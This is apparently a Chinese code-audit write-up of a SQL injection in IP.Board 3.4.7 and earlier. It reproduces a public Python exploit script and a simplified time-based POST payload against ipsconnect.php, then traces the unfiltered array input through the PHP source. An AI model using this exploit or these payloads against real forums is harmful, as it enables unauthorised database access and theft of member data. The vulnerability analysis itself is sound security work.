IP.Board <= 3.4.7 SQL Injection 分析
IP.Board <= 3.4.7 SQL Injection http://seclists.org/fulldisclosure/2014/Nov/20
#!/usr/bin/env python # Sunday, November 09, 2014 - secthrowaway () safe-mail net # IP.Board <= 3.4.7 SQLi (blind, error based); # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable
url = 'http://ipb /' ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
import sys, re import urllib2, urllib
def inject(sql): try: urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua})) except urllib2.HTTPError, e: if e.code == 503: data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read() txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE) if txt is not None: return txt.group(1) sys.exit('Error [3], received unexpected data:\n%s' % data) sys.exit('Error [1]') sys.exit('Error [2]')
n = inject('SELECT COUNT(*) FROM members')
|
运行一下,查看/cache/sql_error_latest.cgi, 可以看到mysql报错了,
mySQL query error: SELECT m.*, m.member_id as my_member_id,ccb.cache_content FROM members m LEFT JOIN content_cache_sigs ccb ON ( ccb.cache_content_id=m.member_id ) WHERE m.member_id IN (-1,-1) and extractvalue(1,concat(0x3a,(user())))#)
说明注入是成功了,但是访问这个cgi是404,所以作者也表示可以利用盲注来测试。
简化poc
[post] http://ipb/interface/ipsconnect/ipsconnect.php act=login&idType=id&id[]=-1&id[]=-1) or sleep(10)# |
查看/interface/ipsconnect/ipsconnect.php
$params = array(); foreach ( $map[ $_REQUEST['act'] ] as $k ) { $params[ $k ] = $_REQUEST[ $k ]; } |
可以看到这里使用了$_REQUEST。
可以看到$params为
array(6) { ["idType"]=> string(2) "id" ["id"]=> array(2) { [0]=> string(2) "-1" [1]=> string(17) "-1) or sleep(10)#" } ["password"]=> NULL ["key"]=> NULL ["redirect"]=> NULL ["redirectHash"]=> NULL } |
然后调用ipsConnect login函数,参数名
'login' => array( 'idType', 'id', 'password', 'key', 'redirect', 'redirectHash' ), |
public function login( $identifier, $identifierValue, $md5Password, $key, $redirect, $redirectHash ) |
$identifier为id,调用IPSMember::load
if ( in_array( $identifier, array( 'id', 'email', 'username' ) ) ) { $member = IPSMember::load( $identifierValue, 'none', $identifier ); |
这里$identifierValue为Array, $identifier为id
/admin/sources/base/ipsMember.php
static public function load( $member_key, $extra_tables='all', $key_type='' ) |
case 'id': if ( is_array( $member_key ) ) { $multiple_ids = $member_key;//为数组,没有类型转换 } else { $member_value = intval( $member_key ); } $member_field = 'member_id'; |
$multiple_ids为Array了,
$joins为
array(1) { [0]=> array(4) { ["select"]=> string(17) "ccb.cache_content" ["from"]=> array(1) { ["content_cache_sigs"]=> string(3) "ccb" } ["where"]=> string(32) "ccb.cache_content_id=m.member_id" ["type"]=> string(4) "left" } } |
if ( count( $joins ) ) { ipsRegistry::DB()->build( array( 'select' => 'm.*, m.member_id as my_member_id', 'from' => array( 'members' => 'm' ), 'where' => ( is_array( $multiple_ids ) AND count( $multiple_ids ) ) ? 'm.'. $member_field . ' IN (' . implode( ',', $multiple_ids ) . ')' : 'm.'. $member_field . '=' . $member_value, 'add_join' => $joins ) ); } else { ipsRegistry::DB()->build( array( 'select' => '*', 'from' => 'members', 'where' => ( is_array( $multiple_ids ) AND count( $multiple_ids ) ) ? $member_field . ' IN (' . implode( ',', $multiple_ids ) . ')' : $member_field . '=' . $member_value ) ); }
ipsRegistry::DB()->execute(); |
$multiple_ids为数组,最终拼接到where语句中
array(4) { ["select"]=> string(32) "m.*, m.member_id as my_member_id" ["from"]=> array(1) { ["members"]=> string(1) "m" } ["where"]=> string(37) "m.member_id IN (-1,-1) or sleep(10)#)" ["add_join"]=> array(1) { [0]=> array(4) { ["select"]=> string(17) "ccb.cache_content" ["from"]=> array(1) { ["content_cache_sigs"]=> string(3) "ccb" } ["where"]=> string(32) "ccb.cache_content_id=m.member_id" ["type"]=> string(4) "left" } } } |
最终成功执行,延时10s。
可以看到$key_type为id, fb_uid,twitter_id时,$member_key为数字时,$multiple_ids = $member_key;都是没有过滤的,又由于ipsconnect.php中if ( in_array( $identifier, array( 'id', 'email', 'username' ) ) ),这里也不能利用,其他地方暂时没有找到,不过也是潜在的风险点。
问题的部分原因是这里对于数组没有过滤。其他程序中也有类似的不过滤数组,或是不过滤$key这种情况的。审计代码时,对数组的情况需要多加注意。
感谢poc的提供者.Happy Reading. Happy Hunting.